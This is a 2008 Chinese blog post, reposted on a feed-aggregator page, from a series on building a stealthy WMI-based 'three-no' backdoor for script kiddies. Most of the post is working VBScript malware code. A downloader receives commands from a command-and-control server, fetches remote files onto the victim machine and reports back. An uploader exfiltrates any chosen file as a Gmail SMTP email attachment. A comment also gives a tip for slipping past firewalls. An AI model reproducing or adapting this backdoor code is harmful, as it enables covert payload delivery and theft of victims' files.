惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

L
LangChain Blog
Recent Announcements
Recent Announcements
GbyAI
GbyAI
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Microsoft Azure Blog
Microsoft Azure Blog
N
Netflix TechBlog - Medium
人人都是产品经理
人人都是产品经理
MongoDB | Blog
MongoDB | Blog
D
DataBreaches.Net
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
WordPress大学
WordPress大学
U
Unit 42
腾讯CDC
D
Docker
The GitHub Blog
The GitHub Blog
阮一峰的网络日志
阮一峰的网络日志
Vercel News
Vercel News
I
InfoQ
Jina AI
Jina AI
爱范儿
爱范儿
宝玉的分享
宝玉的分享
博客园 - Franky
G
Google Developers Blog
P
Proofpoint News Feed

博客园 - %5C

MSSQL 2005 Backup log shell 基于时间差的SQL盲注技巧 跨站腳本攻擊(XSS):過濾不完的惡夢,又有新攻擊語法! 提权用的一个技巧 - %5C - 博客园 Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞 关于php漏洞 QQ邮箱跨站漏洞0day - %5C - 博客园 渗透测试(Penetration Testing) 跨库也能差异备份 dedecms tag.php注入漏洞分析与利用工具 Phpcms 2007 远程文件包含漏洞 入侵的艺术(无线渗透) dedecms >=5 版本漏洞及使用方法 各版本ewebeditor快速拿webshell 某信息港入侵手记 MS Office Snapshot Viewer ActiveX Exploit (可执行版) Oracle web环境注射技术 SuperCMS 上传漏洞! Sql2005注射辅助脚本
新型下载者
%5C · 2008-09-18 · via 博客园 - %5C

利用WMI打造完美“三无”后门-Downloader and Uploader

  Welcome!各位ScriptKid,欢迎来到脚本世界。

  终于到周末。可以多陪陪家人,玩玩游戏,研究研究自己感兴趣的东西了。

  今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。

  直接来看示例代码。

Downloader

Function DownLoadFile
Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application
SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间
If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True
Http.send
Exit Function
End If
Url=SplitCmd(1) //提取URL
LocalFile=SplitCmd(2) //提取本地文件路径
TimeOut=SplitCmd(3) //提取超时时间
Http.Open "GET",Url,False
Http.Send
If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True
Http.send
Else
fso.CreateTextFile(LocalFile) //写入本地文件
ASO.open:ASO.loadfromfile LocalFile
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile LocalFile,2
ASO.close
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True
Http.send
End If
End Function

Uploader

这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)

Function SendFile
GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8)   //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径
Set Email = CreateObject("CDO.Message") //创建CDO.Message对象
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间
Email.From = "scriptkidstest@gmail.com" //发信信箱
Email.To = "scriptkidstest@gmail.com" //收信信箱
Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题
Email.Textbody = "File That You Want" //邮件内容
Email.AddAttachment GetFileName,true //附上我们指定的文件
With Email.Configuration.Fields //设定发送邮件的参数
.Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort
.Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器
.Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465
.Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl
.Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic
.Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名
.Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^
.Update //更新配置
End With
Email.Send
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧
Http.send
End Function